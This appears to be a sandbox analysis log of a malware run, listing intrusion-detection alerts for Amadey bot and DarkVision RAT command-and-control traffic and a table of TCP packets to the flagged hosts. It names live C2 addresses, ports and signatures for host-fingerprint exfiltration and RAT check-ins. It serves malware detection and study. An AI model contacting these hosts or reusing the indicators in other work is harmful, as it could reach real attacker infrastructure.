2024-10-16T19:22:40.363922+0200	2044597	ET MALWARE Amadey Bot Activity (POST) M1	1	192.168.2.9	49716	185.215.113.19	80	TCP
2024-10-16T19:22:40.402448+0200	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.9	49715	185.215.113.19	80	TCP
2024-10-16T19:22:41.661692+0200	2044597	ET MALWARE Amadey Bot Activity (POST) M1	1	192.168.2.9	49718	185.215.113.19	80	TCP
2024-10-16T19:22:43.493737+0200	2044597	ET MALWARE Amadey Bot Activity (POST) M1	1	192.168.2.9	49720	185.215.113.19	80	TCP
2024-10-16T19:22:45.289784+0200	2044597	ET MALWARE Amadey Bot Activity (POST) M1	1	192.168.2.9	49722	185.215.113.19	80	TCP
2024-10-16T19:22:47.189816+0200	2044597	ET MALWARE Amadey Bot Activity (POST) M1	1	192.168.2.9	49724	185.215.113.19	80	TCP
2024-10-16T19:22:49.485764+0200	2044597	ET MALWARE Amadey Bot Activity (POST) M1	1	192.168.2.9	49727	185.215.113.19	80	TCP
2024-10-16T19:22:51.269823+0200	2044597	ET MALWARE Amadey Bot Activity (POST) M1	1	192.168.2.9	49729	185.215.113.19	80	TCP
2024-10-16T19:22:53.777826+0200	2044597	ET MALWARE Amadey Bot Activity (POST) M1	1	192.168.2.9	49732	185.215.113.19	80	TCP
2024-10-16T19:22:55.226202+0200	2044597	ET MALWARE Amadey Bot Activity (POST) M1	1	192.168.2.9	49734	185.215.113.19	80	TCP
2024-10-16T19:22:57.053542+0200	2044597	ET MALWARE Amadey Bot Activity (POST) M1	1	192.168.2.9	49736	185.215.113.19	80	TCP
2024-10-16T19:22:59.447739+0200	2044597	ET MALWARE Amadey Bot Activity (POST) M1	1	192.168.2.9	49737	185.215.113.19	80	TCP
2024-10-16T19:23:01.077630+0200	2044597	ET MALWARE Amadey Bot Activity (POST) M1	1	192.168.2.9	49740	185.215.113.19	80	TCP
2024-10-16T19:23:02.794271+0200	2044597	ET MALWARE Amadey Bot Activity (POST) M1	1	192.168.2.9	49742	185.215.113.19	80	TCP
2024-10-16T19:23:04.737491+0200	2044597	ET MALWARE Amadey Bot Activity (POST) M1	1	192.168.2.9	49745	185.215.113.19	80	TCP
2024-10-16T19:23:06.525787+0200	2044597	ET MALWARE Amadey Bot Activity (POST) M1	1	192.168.2.9	49748	185.215.113.19	80	TCP
2024-10-16T19:23:08.285559+0200	2044597	ET MALWARE Amadey Bot Activity (POST) M1	1	192.168.2.9	49750	185.215.113.19	80	TCP
2024-10-16T19:23:09.493568+0200	2044597	ET MALWARE Amadey Bot Activity (POST) M1	1	192.168.2.9	49752	185.215.113.19	80	TCP
2024-10-16T19:23:11.453534+0200	2044597	ET MALWARE Amadey Bot Activity (POST) M1	1	192.168.2.9	49754	185.215.113.19	80	TCP
2024-10-16T19:23:13.307629+0200	2044597	ET MALWARE Amadey Bot Activity (POST) M1	1	192.168.2.9	49755	185.215.113.19	80	TCP
2024-10-16T19:23:14.565680+0200	2044597	ET MALWARE Amadey Bot Activity (POST) M1	1	192.168.2.9	49758	185.215.113.19	80	TCP
2024-10-16T19:23:16.472877+0200	2044597	ET MALWARE Amadey Bot Activity (POST) M1	1	192.168.2.9	49760	185.215.113.19	80	TCP
2024-10-16T19:23:18.150371+0200	2044597	ET MALWARE Amadey Bot Activity (POST) M1	1	192.168.2.9	49761	185.215.113.19	80	TCP
2024-10-16T19:23:19.469415+0200	2044597	ET MALWARE Amadey Bot Activity (POST) M1	1	192.168.2.9	49763	185.215.113.19	80	TCP
2024-10-16T19:23:21.453384+0200	2044597	ET MALWARE Amadey Bot Activity (POST) M1	1	192.168.2.9	49766	185.215.113.19	80	TCP
2024-10-16T19:23:23.748724+0200	2044597	ET MALWARE Amadey Bot Activity (POST) M1	1	192.168.2.9	49768	185.215.113.19	80	TCP
2024-10-16T19:23:26.165408+0200	2044597	ET MALWARE Amadey Bot Activity (POST) M1	1	192.168.2.9	49770	185.215.113.19	80	TCP
2024-10-16T19:23:27.925616+0200	2044597	ET MALWARE Amadey Bot Activity (POST) M1	1	192.168.2.9	49772	185.215.113.19	80	TCP
2024-10-16T19:23:29.942127+0200	2044597	ET MALWARE Amadey Bot Activity (POST) M1	1	192.168.2.9	49773	185.215.113.19	80	TCP
2024-10-16T19:23:31.277342+0200	2044597	ET MALWARE Amadey Bot Activity (POST) M1	1	192.168.2.9	49775	185.215.113.19	80	TCP
2024-10-16T19:23:33.161267+0200	2044597	ET MALWARE Amadey Bot Activity (POST) M1	1	192.168.2.9	49778	185.215.113.19	80	TCP
2024-10-16T19:23:34.897567+0200	2044597	ET MALWARE Amadey Bot Activity (POST) M1	1	192.168.2.9	49780	185.215.113.19	80	TCP
2024-10-16T19:23:36.729061+0200	2044597	ET MALWARE Amadey Bot Activity (POST) M1	1	192.168.2.9	49783	185.215.113.19	80	TCP
2024-10-16T19:23:37.406457+0200	2044597	ET MALWARE Amadey Bot Activity (POST) M1	1	192.168.2.9	49785	185.215.113.19	80	TCP
2024-10-16T19:23:39.141218+0200	2044597	ET MALWARE Amadey Bot Activity (POST) M1	1	192.168.2.9	49789	185.215.113.19	80	TCP
2024-10-16T19:23:41.061673+0200	2044597	ET MALWARE Amadey Bot Activity (POST) M1	1	192.168.2.9	49791	185.215.113.19	80	TCP
2024-10-16T19:23:43.076686+0200	2044597	ET MALWARE Amadey Bot Activity (POST) M1	1	192.168.2.9	49792	185.215.113.19	80	TCP
2024-10-16T19:23:44.289355+0200	2044597	ET MALWARE Amadey Bot Activity (POST) M1	1	192.168.2.9	49794	185.215.113.19	80	TCP
2024-10-16T19:23:46.237282+0200	2044597	ET MALWARE Amadey Bot Activity (POST) M1	1	192.168.2.9	49796	185.215.113.19	80	TCP
2024-10-16T19:23:48.113341+0200	2044597	ET MALWARE Amadey Bot Activity (POST) M1	1	192.168.2.9	49799	185.215.113.19	80	TCP
2024-10-16T19:23:50.069126+0200	2044597	ET MALWARE Amadey Bot Activity (POST) M1	1	192.168.2.9	49801	185.215.113.19	80	TCP
2024-10-16T19:23:51.350605+0200	2044597	ET MALWARE Amadey Bot Activity (POST) M1	1	192.168.2.9	49850	185.215.113.19	80	TCP
2024-10-16T19:23:52.001223+0200	2044597	ET MALWARE Amadey Bot Activity (POST) M1	1	192.168.2.9	49804	185.215.113.19	80	TCP
2024-10-16T19:23:53.750147+0200	2044597	ET MALWARE Amadey Bot Activity (POST) M1	1	192.168.2.9	49807	185.215.113.19	80	TCP
2024-10-16T19:23:55.813283+0200	2044597	ET MALWARE Amadey Bot Activity (POST) M1	1	192.168.2.9	49809	185.215.113.19	80	TCP
2024-10-16T19:23:57.518575+0200	2044597	ET MALWARE Amadey Bot Activity (POST) M1	1	192.168.2.9	49811	185.215.113.19	80	TCP
2024-10-16T19:23:59.357162+0200	2044597	ET MALWARE Amadey Bot Activity (POST) M1	1	192.168.2.9	49814	185.215.113.19	80	TCP
2024-10-16T19:24:01.122053+0200	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.19	80	192.168.2.9	49813	TCP
2024-10-16T19:24:01.253261+0200	2044597	ET MALWARE Amadey Bot Activity (POST) M1	1	192.168.2.9	49816	185.215.113.19	80	TCP
2024-10-16T19:24:01.858982+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.9	49815	104.21.21.16	443	TCP
2024-10-16T19:24:03.645144+0200	2044597	ET MALWARE Amadey Bot Activity (POST) M1	1	192.168.2.9	49817	185.215.113.19	80	TCP
2024-10-16T19:24:05.548901+0200	2044597	ET MALWARE Amadey Bot Activity (POST) M1	1	192.168.2.9	49818	185.215.113.19	80	TCP
2024-10-16T19:24:06.401799+0200	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.9	49819	185.215.113.19	80	TCP
2024-10-16T19:24:07.653102+0200	2044597	ET MALWARE Amadey Bot Activity (POST) M1	1	192.168.2.9	49822	185.215.113.19	80	TCP
2024-10-16T19:24:09.605091+0200	2044597	ET MALWARE Amadey Bot Activity (POST) M1	1	192.168.2.9	49826	185.215.113.19	80	TCP
2024-10-16T19:24:11.404972+0200	2044597	ET MALWARE Amadey Bot Activity (POST) M1	1	192.168.2.9	49829	185.215.113.19	80	TCP
2024-10-16T19:24:13.233047+0200	2044597	ET MALWARE Amadey Bot Activity (POST) M1	1	192.168.2.9	49834	185.215.113.19	80	TCP
2024-10-16T19:24:15.305355+0200	2044597	ET MALWARE Amadey Bot Activity (POST) M1	1	192.168.2.9	49837	185.215.113.19	80	TCP
2024-10-16T19:24:18.061298+0200	2044597	ET MALWARE Amadey Bot Activity (POST) M1	1	192.168.2.9	49840	185.215.113.19	80	TCP
2024-10-16T19:24:19.770848+0200	2045618	ET MALWARE Win32/DarkVision RAT CnC Checkin M1	1	192.168.2.9	49843	82.147.85.218	7785	TCP
2024-10-16T19:24:19.793083+0200	2044597	ET MALWARE Amadey Bot Activity (POST) M1	1	192.168.2.9	49842	185.215.113.19	80	TCP
2024-10-16T19:24:21.160274+0200	2045620	ET MALWARE Win32/DarkVision RAT CnC Checkin M2	1	192.168.2.9	49843	82.147.85.218	7785	TCP
2024-10-16T19:24:21.484634+0200	2045619	ET MALWARE Win32/DarkVision RAT CnC Checkin M3	1	192.168.2.9	49843	82.147.85.218	7785	TCP
2024-10-16T19:24:22.024950+0200	2045618	ET MALWARE Win32/DarkVision RAT CnC Checkin M1	1	192.168.2.9	49846	82.147.85.218	7785	TCP
2024-10-16T19:24:22.190104+0200	2044597	ET MALWARE Amadey Bot Activity (POST) M1	1	192.168.2.9	49845	185.215.113.19	80	TCP
2024-10-16T19:24:23.352517+0200	2045618	ET MALWARE Win32/DarkVision RAT CnC Checkin M1	1	192.168.2.9	49848	82.147.85.218	7785	TCP
2024-10-16T19:24:25.047897+0200	2045618	ET MALWARE Win32/DarkVision RAT CnC Checkin M1	1	192.168.2.9	49851	82.147.85.218	7785	TCP
2024-10-16T19:24:26.392312+0200	2045618	ET MALWARE Win32/DarkVision RAT CnC Checkin M1	1	192.168.2.9	49852	82.147.85.218	7785	TCP
2024-10-16T19:24:27.929391+0200	2045618	ET MALWARE Win32/DarkVision RAT CnC Checkin M1	1	192.168.2.9	49853	82.147.85.218	7785	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 16, 2024 19:22:39.397701979 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.397708893 CEST	49715	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.402785063 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.402793884 CEST	80	49715	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.402930021 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.403000116 CEST	49715	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.403130054 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.403141022 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.403196096 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.403213024 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.403215885 CEST	49715	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.403234005 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.403283119 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.403283119 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.403405905 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.403405905 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.403405905 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.403405905 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.403405905 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.403423071 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.403450012 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.403470039 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.403628111 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.403628111 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.403628111 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.403628111 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.403628111 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.403628111 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.403628111 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.403711081 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.403850079 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.403850079 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.403850079 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.403889894 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.403889894 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.403985023 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.403985023 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.403985023 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.403985023 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.404041052 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.404042006 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.404149055 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.404149055 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.404149055 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.404149055 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.404149055 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.404201031 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.404201031 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.404201031 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.404237986 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.404248953 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.404273987 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.404328108 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.404328108 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.404459000 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.404459000 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.404459000 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.404459000 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.404459000 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.404459000 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.404483080 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.404577017 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.404577017 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.404577017 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.404577017 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.404592037 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.404619932 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.404665947 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.404665947 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.404710054 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.404710054 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.404747963 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.404747963 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.404804945 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.404804945 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.404804945 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.404869080 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.404869080 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.404906034 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.404906034 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.404972076 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.404972076 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.404972076 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.405117989 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.405117989 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.405117989 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.405117989 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.405117989 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.405117989 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.405118942 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.405215979 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.405215979 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.405216932 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.405216932 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.405337095 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.405337095 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.405337095 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.405337095 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.405337095 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.405337095 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.405355930 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.405412912 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.405412912 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.405412912 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.405440092 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.405499935 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.405499935 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.405539036 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.405539036 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.405606031 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.405606031 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.405606031 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.405627012 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.405646086 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.405672073 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.405692101 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.405819893 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.405821085 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.405821085 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.405821085 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.405821085 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.405821085 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.405842066 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.405873060 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.405972958 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.405973911 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.405973911 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.405973911 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.405973911 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.406006098 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.406091928 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.406091928 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.406091928 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.406091928 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.406155109 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.406155109 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.406155109 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.406184912 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.406184912 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.406280041 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.406280041 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.406280041 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.406280994 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.406295061 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.406348944 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.406348944 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.406387091 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.406387091 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.406439066 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.406439066 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.406483889 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.406483889 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.406537056 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.406537056 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.406537056 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.406569004 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.406598091 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.406611919 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.406630993 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.406692982 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.406692982 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.406692982 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.406742096 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.406742096 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.406836033 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.406836033 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.406836033 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.406836033 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.406836033 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.406872034 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.406888008 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.406922102 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.406922102 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.407001972 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.407001972 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.407001972 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.407016039 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.407047033 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.407047033 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.407080889 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.407095909 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.407120943 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.407176971 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.407176971 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.407273054 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.407273054 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.407273054 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.407273054 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.407273054 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.407304049 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.407413006 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.407413006 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.407413006 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.407424927 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.407440901 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.407466888 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.407541037 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.407541037 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.407541037 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.407614946 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.407614946 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.407614946 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.407614946 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.407696962 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.407696962 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.407696962 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.407696962 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.407722950 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.407747984 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.407778025 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.407809973 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.407809973 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.407845020 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.407879114 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.407879114 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.407915115 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.407924891 CEST	49716	80	192.168.2.9	185.215.113.19
